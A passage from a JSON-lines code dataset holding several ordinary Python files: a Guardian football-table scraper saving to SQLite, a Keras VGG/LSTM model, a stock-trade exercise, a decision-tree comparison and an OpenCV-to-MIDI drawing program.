"rest_framework.decorators.permission_classes", "line_number": 56, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 56, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 70, "usage_type": "call"}, {"api_name": "models.Review", "line_number": 70, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 72, "usage_type": "call"}, {"api_name": "serializers.ReviewListSerializer", "line_number": 75, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 80, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 80, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 89, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 92, "usage_type": "call"}, {"api_name": "models.Review", "line_number": 92, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 99, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 99, "usage_type": "argument"}, {"api_name": "rest_framework.response.Response", "line_number": 110, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 66, "usage_type": "call"}, {"api_name": "rest_framework.decorators.authentication_classes", "line_number": 67, "usage_type": "call"}, {"api_name": "rest_framework_jwt.authentication.JSONWebTokenAuthentication", "line_number": 67, "usage_type": "name"}, {"api_name": "rest_framework.decorators.permission_classes", "line_number": 68, "usage_type": "call"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 68, "usage_type": "name"}, {"api_name": "models.Movie.objects.all", "line_number": 118, "usage_type": "call"}, {"api_name": "models.Movie.objects", "line_number": 118, "usage_type": "attribute"}, {"api_name": "models.Movie", "line_number": 118, "usage_type": "name"}, {"api_name": "serializers.MovieSerializer", "line_number": 119, "usage_type": "call"}, {"api_name": "models.Review.objects.all", "line_number": 129, "usage_type": "call"}, {"api_name": "models.Review.objects", "line_number": 129, "usage_type": "attribute"}, {"api_name": "models.Review", "line_number": 129, "usage_type": "name"}, {"api_name": "models.Movie.objects.get", "line_number": 131, "usage_type": "call"}, {"api_name": "models.Movie.objects", "line_number": 131, "usage_type": "attribute"}, {"api_name": "models.Movie", "line_number": 131, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 141, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 141, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 153, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 160, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 160, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 164, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 165, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 113, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 171, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 171, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 176, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 176, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 177, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 180, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 167, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 184, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 184, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 189, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 189, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 190, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 193, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 182, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 197, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 197, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 202, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 202, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 203, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 206, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 195, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 210, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 210, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 211, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 211, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 220, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 208, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 224, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 224, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 225, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 225, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 234, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 222, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 238, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 238, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 239, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 239, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 248, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 236, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 257, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 257, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 258, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 264, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 250, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 273, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 273, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 274, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 280, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 266, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 289, "usage_type": "call"}, {"api_name": "models.Movie", "line_number": 289, "usage_type": "argument"}, {"api_name": "serializers.MovieSerializer", "line_number": 290, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 296, "usage_type": "call"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 282, "usage_type": "call"}]} {"seq_id": "178049367", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport sqlite3\nimport os\nfrom os import path\n\n\n\nurl_bundesliga = 'https://www.theguardian.com/football/laligafootball/table'\nr_bundesliga = requests.get(url_bundesliga)\n\nsoup=BeautifulSoup(r_bundesliga.text,'html.parser')\n\nteams_bundesliga_dict = {};\n#grabs the html table (there is only one table)\ntheTable = soup.find('table',class_='table table--football table--league-table table--responsive-font table--striped')\n\n\ndef print_dict(teams_epl_dict):\n for team in teams_epl_dict.keys():\n print(team,end=\" \")\n for stat in teams_epl_dict[team]:\n print(str(stat),end=\" \")\n print()\n\n#this for loop scrapes the data from the standings table\ndef get_data(teams_epl_dict, theTable):\n #initializes the dictionary with stats from the standings located on the guardian sports website\n for epl_team in (theTable.find_all('tr',)[1:]):\n team_name=epl_team.find('td',class_='table-column--main').text.strip()\n\n #the stats in order: position, games played, wins, draws, losses, goals for\n #goals against, goals differential, points\n position = epl_team.find('td',class_='table-column--sub').text.strip()\n games_played = epl_team.find_all('td')[2].text.strip()\n wins = epl_team.find_all('td',class_='table-column--importance-1')[0].text.strip()\n draws = epl_team.find_all('td',class_='table-column--importance-1')[1].text.strip()\n losses = epl_team.find_all('td',class_='table-column--importance-1')[2].text.strip()\n goal_differential = epl_team.find('td',class_='table-column--importance-3').text.strip()\n points = epl_team.find_all('td')[9].text.strip()\n\n teams_epl_dict[team_name]=[int(position),int(games_played),int(wins),int(draws),int(losses),int(goal_differential),int(points)]\n\nget_data(teams_bundesliga_dict,theTable)\n#print_dict(teams_epl_dict)\n\n\n#creating a database of the standings\ndef create_and_initialize_db(tableName,teams_epl_dict):\n print('la liga (bundesliga) creating')\n connection = sqlite3.connect(tableName)\n cursor = connection.cursor()\n\n # table already created\n cursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS laliga_table (\n position INTEGER,\n team_name TEXT UNIQUE,\n games_played INTEGER,\n wins INTEGER,\n draws INTEGER,\n losses INTEGER,\n goal_differential INTEGER,\n points INTEGER\n )\"\"\")\n \n\n for t in teams_epl_dict.keys():\n cursor.execute(\"INSERT OR IGNORE INTO laliga_table (position, team_name, games_played, wins, draws, losses, goal_differential, points) VALUES (?, ?, ?, ?, ?, ?, ?, ?)\",\n (teams_epl_dict[t][0],t,teams_epl_dict[t][1],teams_epl_dict[t][2],teams_epl_dict[t][3],teams_epl_dict[t][4],teams_epl_dict[t][5],teams_epl_dict[t][6]))\n connection.commit()\n\n\n\n cursor.close()\n connection.close()\n\ndef delete_db(tableName):\n if(path.isfile(tableName)):\n print('la liga (bundesliga) updating db')\n os.remove(tableName)\n else:\n print('la liga (bundesliga) nothing to delete')\n\ndelete_db('laliga_table.db')\ncreate_and_initialize_db('laliga_table.db',teams_bundesliga_dict)", "sub_path": "soccerLeagues/laliga.py", "file_name": "laliga.py", "file_ext": "py", "file_size_in_byte": 3281, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.get", "line_number": 10, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 80, "usage_type": "call"}]} {"seq_id": "510734001", "text": "from keras.layers import Input, Dense, TimeDistributed, concatenate, LSTM, Conv2D, MaxPooling2D, Flatten\nfrom keras.models import Model\nfrom keras.utils import plot_model\nimport numpy as np\n\n\n# functions\n\n\ndef timedistributed_vgg_block(layer_in, num_filters, num_conv):\n for _ in range(num_conv):\n layer_in = TimeDistributed(\n Conv2D(num_filters, (3, 3), padding='same',\n activation='relu'))(layer_in)\n layer_in = TimeDistributed(MaxPooling2D(pool_size=(2, 2),\n strides=(2, 2)))(layer_in)\n return layer_in\n\n# loading data\n \n\n\"\"\"\n# Main Inputs\n\"\"\"\nbgra_input_1 = Input(shape=(130, 130, 4),\n dtype='float32',\n name='bgra_input_1')\nbgra_input_2 = Input(shape=(130, 130, 4),\n dtype='float32',\n name='bgra_input_2')\ndepth_input_1 = Input(shape=(130, 130, 1),\n dtype='float32',\n name='depth_input_1')\ndepth_input_2 = Input(shape=(130, 130, 1),\n dtype='float32',\n name='depth_input_2')\n#skeletxt_input_1 = Input(shape=(250, 75),\n# dtype='float32',\n# name='skeletxt_input_1')\n#skeletxt_input_2 = Input(shape=(250, 75),\n# dtype='float32',\n# name='skeletxt_input_2')\n\"\"\"\n# Convolution Layers for BGRA\n# 5 VGG Blocks with 2 Layers each\n\"\"\"\n# First Convolution Layer\nbgra_input_1_conv = TimeDistributed(\n Conv2D(64, (3, 3),\n input_shape=(130, 130, 4),\n activation='relu',\n padding='same'))(bgra_input_1)\nbgra_input_2_conv = TimeDistributed(\n Conv2D(64, (3, 3),\n input_shape=(130, 130, 4),\n activation='relu',\n padding='same'))(bgra_input_2)\n\n# bgra_input_1_conv = timedistributed_vgg_block(bgra_input_1_conv, 64, 1)\nbgra_input_1_conv = timedistributed_vgg_block(bgra_input_1_conv, 128, 1)\nbgra_input_1_conv = timedistributed_vgg_block(bgra_input_1_conv, 256, 2)\nbgra_input_1_conv = timedistributed_vgg_block(bgra_input_1_conv, 512, 2)\nbgra_input_1_conv = timedistributed_vgg_block(bgra_input_1_conv, 512, 2)\nbgra_input_1_conv = TimeDistributed(Flatten())(bgra_input_1_conv)\n\n# bgra_input_2_conv = timedistributed_vgg_block(bgra_input_2_conv, 64, 1)\nbgra_input_2_conv = timedistributed_vgg_block(bgra_input_2_conv, 128, 1)\nbgra_input_2_conv = timedistributed_vgg_block(bgra_input_2_conv, 256, 2)\nbgra_input_2_conv = timedistributed_vgg_block(bgra_input_2_conv, 512, 2)\nbgra_input_2_conv = timedistributed_vgg_block(bgra_input_2_conv, 512, 2)\nbgra_input_2_conv = TimeDistributed(Flatten())(bgra_input_2_conv)\n\"\"\"\n# Convolution Layers for Depth\n# 2 VGG Blocks with 2 Conv2D Layers each\n\"\"\"\n# First Convolution Layer\ndepth_input_1_conv = TimeDistributed(\n Conv2D(32, (3, 3),\n input_shape=(130, 130, 1),\n activation='relu',\n padding='same'))(depth_input_1)\ndepth_input_2_conv = TimeDistributed(\n Conv2D(32, (3, 3),\n input_shape=(130, 130, 1),\n activation='relu',\n padding='same'))(depth_input_2)\n\n# depth_input_1_conv = timedistributed_vgg_block(depth_input_1_conv, 32, 1)\ndepth_input_1_conv = timedistributed_vgg_block(depth_input_1_conv, 64, 1)\ndepth_input_1_conv = timedistributed_vgg_block(depth_input_1_conv, 128, 2)\ndepth_input_1_conv = TimeDistributed(Flatten())(depth_input_1_conv)\n\n# depth_input_2_conv = timedistributed_vgg_block(depth_input_2_conv, 32, 1)\ndepth_input_2_conv = timedistributed_vgg_block(depth_input_2_conv, 64, 1)\ndepth_input_2_conv = timedistributed_vgg_block(depth_input_2_conv, 128, 2)\ndepth_input_2_conv = TimeDistributed(Flatten())(depth_input_2_conv)\n\n# Concatenate\nconc_out = concatenate([\n bgra_input_1_conv, bgra_input_2_conv, depth_input_1_conv,\n depth_input_2_conv\n ])\n\n# LSTM\nlstm_out = LSTM(8192)(conc_out)\nlstm_out = Dense(2048, activation='relu')(lstm_out)\n\n# Output\nmain_output = Dense(2, activation='softmax', name='main_output')(lstm_out)\n\n# Model Definition\nmodel = Model(inputs=[\n bgra_input_1, depth_input_1, bgra_input_2, depth_input_2,\n],\n outputs=[main_output])\n\nmodel.compile(optimizer='rmsprop',\n loss='binary_crossentropy',\n metrics=['accuracy'])\n\nprint(model.summary())\nplot_model(model,\n show_shapes=True,\n to_file='multiple_vgg_blocks_final_convlayer.png')\n\n# model.fit(\n# {\n# 'bgra_input_1': bgra_input_1_data,\n# 'bgra_input_2': bgra_input_2_data,\n# 'depth_input_1': depth_input_1_data,\n# 'depth_input_2': depth_input_2_data,\n# 'skeletxt_input_1': skeletxt_input_1_data,\n# 'skeletxt_input_2': skeletxt_input_2_data,\n# 'main_output': labels\n# },\n# epochs=epoch_placeholder,\n# batch_size=batch_size_placeholder)\n", "sub_path": "3dconv model/dh_one.py", "file_name": "dh_one.py", "file_ext": "py", "file_size_in_byte": 4881, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "keras.layers.TimeDistributed", "line_number": 12, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 13, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 15, "usage_type": "call"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 15, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 25, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 34, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 48, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 53, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 54, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 71, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 78, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 83, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 91, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 91, "usage_type": "call"}, {"api_name": "keras.layers.TimeDistributed", "line_number": 96, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 96, "usage_type": "call"}, {"api_name": "keras.layers.concatenate", "line_number": 99, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 105, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 106, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 109, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 112, "usage_type": "call"}, {"api_name": "keras.utils.plot_model", "line_number": 122, "usage_type": "call"}]} {"seq_id": "327638267", "text": "from collections import defaultdict\nN = int(input())\n\ntrades = []\nfor i in range(0,N):\n data = defaultdict(str)\n data['ID'], data['Type'], data['Name'], data['Price'],data['Quantity'] = input().split(' ')\n trades.append(data)\n\nsell =defaultdict(list)\nbuy = defaultdict(list)\n\nfor i in range(0,len(trades)):\n if(trades[i]['Type']=='Sell'):\n sell[trades[i]['Name']] = [int(trades[i]['Price']),int(trades[i]['Quantity'])]\n elif(trades[i]['Type']=='Buy'):\n buy[trades[i]['Name']].append([int(trades[i]['Price']),int(trades[i]['Quantity'])])\n\nflag = False\nfor key,value_sell in sell.items():\n for value_buy in buy[key]:\n if(value_buy[0]>=value_sell[0]):\n flag = True\n print(str(key)+\":\"+str(value_sell[0])) \n break\nif(not flag):\n print(\"Stocks not traded\")", "sub_path": "Previous Year CodeVita/Closing_Values.py", "file_name": "Closing_Values.py", "file_ext": "py", "file_size_in_byte": 826, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.defaultdict", "line_number": 6, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 10, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 11, "usage_type": "call"}]} {"seq_id": "596068414", "text": "import time,sys,os\r\n# LIB is the parent directory of the directory where program resides.\r\nLIB = os.path.join(os.path.dirname(__file__), '..')\r\nDAT = os.path.join(os.path.dirname(__file__), '..', 'dataset', 'dataset1')\r\nsys.path.insert(0, LIB)\r\nfrom sklearn import tree\r\nfrom DecisionTree import *\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ntrainData = pd.read_table(os.path.join(DAT,'train.txt'), header=None, encoding='gb2312', delim_whitespace=True)\r\ntestData = pd.read_table(os.path.join(DAT,'test.txt'), header=None, encoding='gb2312', delim_whitespace=True)\r\ntrainLabel = np.array(trainData.pop(3))\r\ntrainData = np.array(trainData)\r\ntestLabel = np.array(testData.pop(3))\r\ntestData = np.array(testData)\r\n\r\ntime_start1 = time.time()\r\nclf1 = DecisionTreeClassifier()\r\nclf1.train(trainData, trainLabel)\r\nclf1.predict(testData)\r\nscore1 = clf1.accuracy(testLabel)\r\ntime_end1 = time.time()\r\nprint(\"Accuracy of self-DecisionTree: %f\" % score1)\r\nprint(\"Runtime of self-DecisionTree:\", time_end1-time_start1)\r\n\r\ntime_start = time.time()\r\nclf = tree.DecisionTreeClassifier()\r\nclf.fit(trainData, trainLabel)\r\nclf.predict(testData)\r\nscore = clf.score(testData, testLabel, sample_weight=None)\r\ntime_end = time.time()\r\nprint(\"Accuracy of sklearn-DecisionTree: %f\" % score)\r\nprint(\"Runtime of sklearn-DecisionTree:\", time_end-time_start)\r\n", "sub_path": "examples/DecisionTree_TEST.py", "file_name": "DecisionTree_TEST.py", "file_ext": "py", "file_size_in_byte": 1330, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.join", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pandas.read_table", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pandas.read_table", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "time.time", "line_number": 18, "usage_type": "call"}, {"api_name": "time.time", "line_number": 23, "usage_type": "call"}, {"api_name": "time.time", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 28, "usage_type": "name"}, {"api_name": "time.time", "line_number": 32, "usage_type": "call"}]} {"seq_id": "477242533", "text": "import numpy as np\nimport cv2\nfrom shapeDetector import Shape\nfrom shapeDetector import ShapeType\nfrom imageProcessing import ImageProcessing\nimport rtmidi\nimport mido\nimport winsound\n\n\n#contoursImage = np.ones(shape=(height,width,3), dtype=np.uint8) * 255\n\ndef sendNoteOn(note):\n message = mido.Message('note_on', note=note, velocity=127)\n sentOnNotes.append(note)\n midiOutput.send(message)\n\ndef sendNoteOff(note):\n message = mido.Message('note_off', note=note, velocity=127)\n midiOutput.send(message)\n\ndef sendControlChange(control, value):\n message = mido.Message('control_change', control=control, value=value)\n midiOutput.send(message)\n\n\ndef sendProgramChange(program, channel):\n message = mido.Message('program_change', program=program, channel=channel)\n midiOutput.send(message)\n\nsentOnNotes = []\n\nminFrequency = 500\nmaxFrequency = 7000\nduration = 30\n\ntimePerLoop = 200\nloopsPerImageProcessing = 5\n\nimageHeight = 400\n\noriginalImage = cv2.imread(\"test4.jpg\")\noriginalSize = originalImage.shape[:2]\nip = ImageProcessing()\n\nloopsSinceImageProcessed = loopsPerImageProcessing\n\nprint(\"MIDI output ports: \", mido.get_output_names())\n\noutputName = mido.get_output_names()[0]\nmidiOutput = mido.open_output(\"LoopBe Internal MIDI 1\")\n\n#exit()\n\nresizedImage = cv2.resize(originalImage, (round(imageHeight / originalSize[0] * originalSize[1]), imageHeight))\nip.processImage(resizedImage)\n\n\ndrawing = False # true if mouse is pressed\nerasing = False\nix,iy = -1,-1\n\ncv2.namedWindow('image')\n\ndef on_trackbar(val):\n ip.xSegments = val\n ip.processImage(ip.image)\n\ndef on_speed_trackbar(val):\n global timePerLoop\n if val < 50:\n val = 50\n timePerLoop = val\n\ncv2.createTrackbar(\"segments\", \"image\" , 5, 30, on_trackbar)\ncv2.createTrackbar(\"delay\", \"image\" , 200, 500, on_speed_trackbar)\n\ndef freeDraw(event,x,y,flags,param):\n global drawing,erasing\n\n if event == cv2.EVENT_LBUTTONDOWN:\n drawing = True\n sendNoteOff(0)\n\n elif event == cv2.EVENT_MOUSEMOVE:\n if drawing == True:\n cv2.circle(ip.image,(x,y),4,(0,0,0),-1)\n elif erasing == True:\n cv2.circle(ip.image,(x,y),15,(255,255,255),-1)\n\n elif event == cv2.EVENT_LBUTTONUP:\n drawing = False\n ip.processImage(ip.image)\n\n elif event == cv2.EVENT_RBUTTONDOWN:\n erasing = True\n sendNoteOff(0)\n\n elif event == cv2.EVENT_RBUTTONUP:\n erasing = False\n ip.processImage(ip.image)\n\ncv2.setMouseCallback('image',freeDraw)\nwhile True:\n\n \n if loopsSinceImageProcessed == loopsPerImageProcessing:\n ()\n cv2.imwrite('output.jpg', ip.outputImage, [cv2.IMWRITE_JPEG_QUALITY, 90])\n #resizedImage = cv2.resize(originalImage, (round(imageHeight / originalSize[0] * originalSize[1]), imageHeight))\n #ip.processImage(resizedImage)\n #loopsSinceImageProcessed = 0\n else:\n ()\n #loopsSinceImageProcessed += 1\n\n ip.resetOutputImage()\n \n \n\n if not drawing and not erasing:\n \n if cv2.waitKey(timePerLoop) != -1:\n break\n\n ip.nextSegment() \n\n for note in sentOnNotes: \n sendNoteOff(note)\n sentOnNotes = [] \n \n for shape in ip.getActiveShapes():\n ()\n if shape.shapeType == ShapeType.NONE or shape.shapeType == ShapeType.LINE:\n sendControlChange(1,3)\n elif shape.shapeType == ShapeType.CIRCLE:\n sendControlChange(1,2)\n elif shape.shapeType == ShapeType.TRIANGLE:\n sendControlChange(1,4)\n elif shape.shapeType == ShapeType.RECTANGLE:\n sendControlChange(1,1) \n \n #note = int(ip.getRelativeShapePosition(shape) * (72-48)) + 48\n note = int(ip.getRelativeShapePosition(shape) * 128)\n if shape.shapeType != ShapeType.TRIANGLE:\n sendNoteOn(note)\n # winsound.Beep(int(minFrequency + ip.getRelativeShapePosition(shape) * (maxFrequency - minFrequency)), duration) \n \n else:\n cv2.waitKey(10)\n\n ip.drawGrid()\n\n cv2.imshow(\"image\", ip.outputImage)\n cv2.imshow(\"threshold\", ip.thresholdImage)\n cv2.imshow(\"red\", ip.redMask)\n cv2.imshow(\"green\", ip.greenMask)\n cv2.imshow(\"black\", ip.blackMask)\n #cv2.imshow(\"grayscale\", grayscaleImage)\n \n\ncv2.destroyAllWindows()", "sub_path": "program.py", "file_name": "program.py", "file_ext": "py", "file_size_in_byte": 4421, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "mido.Message", "line_number": 14, "usage_type": "call"}, {"api_name": "mido.Message", "line_number": 19, "usage_type": "call"}, {"api_name": "mido.Message", "line_number": 23, "usage_type": "call"}, {"api_name": "mido.Message", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 42, "usage_type": "call"}, {"api_name": "imageProcessing.ImageProcessing", "line_number": 44, "usage_type": "call"}, {"api_name": "mido.get_output_names", "line_number": 48, "usage_type": "call"}, {"api_name": "mido.get_output_names", "line_number": 50, "usage_type": "call"}, {"api_name": "mido.open_output", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 75, "usage_type": "call"}, {"api_name": "cv2.createTrackbar", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.EVENT_LBUTTONDOWN", "line_number": 81, "usage_type": "attribute"}, {"api_name": "cv2.EVENT_MOUSEMOVE", "line_number": 85, "usage_type": "attribute"}, {"api_name": "cv2.circle", "line_number": 87, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 89, "usage_type": "call"}, {"api_name": "cv2.EVENT_LBUTTONUP", "line_number": 91, "usage_type": "attribute"}, {"api_name": "cv2.EVENT_RBUTTONDOWN", "line_number": 95, "usage_type": "attribute"}, {"api_name": "cv2.EVENT_RBUTTONUP", "line_number": 99, "usage_type": "attribute"}, {"api_name": "cv2.setMouseCallback", "line_number": 103, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 109, "usage_type": "call"}, {"api_name": "cv2.IMWRITE_JPEG_QUALITY", "line_number": 109, "usage_type": "attribute"}, {"api_name": "cv2.waitKey", "line_number": 123, "usage_type": "call"}, {"api_name": "shapeDetector.ShapeType.NONE", "line_number": 134, "usage_type": "attribute"}, {"api_name": "shapeDetector.ShapeType", "line_number": 134, "usage_type": "name"}, {"api_name": "shapeDetector.ShapeType.LINE", "line_number": 134, "usage_type": "attribute"}, {"api_name": "shapeDetector.ShapeType.CIRCLE", "line_number": 136, "usage_type": "attribute"}, {"api_name": "shapeDetector.ShapeType", "line_number": 136, "usage_type": "name"}, {"api_name": "shapeDetector.ShapeType.TRIANGLE", "line_number": 138, "usage_type": "attribute"}, {"api_name": "shapeDetector.ShapeType", "line_number": 138, "usage_type": "name"}, {"api_name": "shapeDetector.ShapeType.RECTANGLE", "line_number": 140, "usage_type": "attribute"}, {"api_name": "shapeDetector.ShapeType", "line_number": 140, "usage_type": "name"}, {"api_name": "shapeDetector.ShapeType.TRIANGLE", "line_number": 145, "usage_type": "attribute"}, {"api_name": "shapeDetector.ShapeType", "line_number": 145, "usage_type": "name"}, {"api_name": "cv2.waitKey", "line_number": 150, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 154, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 155, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 156, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 157, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 158, "usage_type": "call"}, {"api_name": 